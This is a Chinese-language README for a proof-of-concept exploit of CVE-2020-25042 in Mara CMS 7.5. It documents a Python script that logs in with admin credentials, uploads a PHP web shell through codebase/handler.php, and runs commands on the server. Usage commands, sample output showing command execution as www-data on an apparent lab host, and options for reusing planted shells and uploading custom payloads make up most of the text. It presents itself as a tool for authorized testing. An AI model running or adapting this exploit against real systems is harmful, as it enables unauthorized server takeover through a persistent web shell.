
CVE-2020-25042 的 PoC:自动化 Mara CMS 7.5 认证后的 PHP 上传到远程代码执行(RCE),包含登录哈希处理、Shell 复用、自定义载荷支持以及简洁的 CLI 输出。
CVE-2020-25042 的概念验证,这是 Mara CMS 7.5 中一个经过身份验证的任意文件上传问题,可导致远程代码执行。
该脚本使用有效的 Mara CMS 管理员/经理账户登录,通过 codebase/handler.php 上传 PHP 载荷,并通过上传的文件执行命令。
它还尽可能重用现有的 shell,因此不会在每次运行时都创建新的 PHP 文件。
shash。setsalt 操作请求登录盐值。codebase/dir.php?type=filenew 打开上传流程。codebase/handler.php 上传 PHP 命令载荷。--cmd。Python 3.8+
pip install -r requirements.txt
所需的 Python 包:
requests
urllib3
尖括号中的值是占位符。替换为你自己的值,并且不要包含 < 或 > 字符。
python3 cve_2020_25042.py \
--url <MARA_CMS_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--cmd whoami
<MARA_CMS_URL> # 目标 Mara CMS 基础 URL。例如:http://target/cms
<USERNAME> # 有效的 Mara CMS 管理员/经理用户名。
<PASSWORD> # 有效的 Mara CMS 管理员/经理密码。
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--cmd whoami
示例输出:
[2026-05-17T23:32:31Z] [*] Checking existing shell: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Loading Mara CMS page and collecting session data
[2026-05-17T23:32:31Z] [+] Found shash: 9552
[2026-05-17T23:32:31Z] [*] Requesting login salt
[2026-05-17T23:32:31Z] [+] Got salt: 4253
[2026-05-17T23:32:31Z] [*] Logging in as admin
[2026-05-17T23:32:31Z] [+] Login successful: OK:5
[2026-05-17T23:32:31Z] [*] Opening upload form
[2026-05-17T23:32:32Z] [*] Uploading PHP payload as mara-poc.php
[2026-05-17T23:32:32Z] [+] Upload request completed
[2026-05-17T23:32:32Z] [+] Shell URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] Executing command: whoami
[+] Command output
MARA_CVE_2020_25042_OK
www-data
默认情况下,脚本使用一个固定的 shell 名称:
mara-poc.php
在下一次运行时,它会检查:
http://target/cms/img/mara-poc.php
如果 shell 响应了预期的标记,脚本将跳过登录和上传:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--cmd "ls -la"
要重用之前使用随机名称创建的 shell:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-name mara-poc-jxfizldy.php \
--cmd whoami
你也可以直接传递暴露的 shell 路径:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-url-path /cms/img/mara-poc-jxfizldy.php \
--cmd "ls -la"
上传载荷但不执行命令:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--upload-only
--page <PAGE>
用于启动登录并提取 shash 的现有 CMS 页面。默认值:lorem.php
--shell-name <NAME>
要上传或重用的 PHP 文件名。默认值:mara-poc.php
--shell-url-path <PATH_OR_URL>
要重用的显式 shell 路径或 URL。
示例:/cms/img/mara-poc.php
--payload-file <FILE>
上传自定义 PHP 载荷,替代默认的 ?cmd= shell。
--destdir <DIR>
在上传表单中发送的原始 destdir 值。默认让 Mara CMS 使用 img/。
--force-upload
即使可重用的 shell 已存在,也始终登录并上传。
--upload-only
上传载荷但不执行 --cmd。
--only-final
隐藏进度日志,仅打印命令输出。
--no-color
禁用 ANSI 颜色。
--debug
打印请求 URL 和简短的处理程序响应片段。
admin:changeme。MARA_CVE_2020_25042_OK。img/。--force-upload。此 PoC 仅用于授权的安全测试、实验环境及漏洞验证。 未经明确许可,不得将其用于任何系统。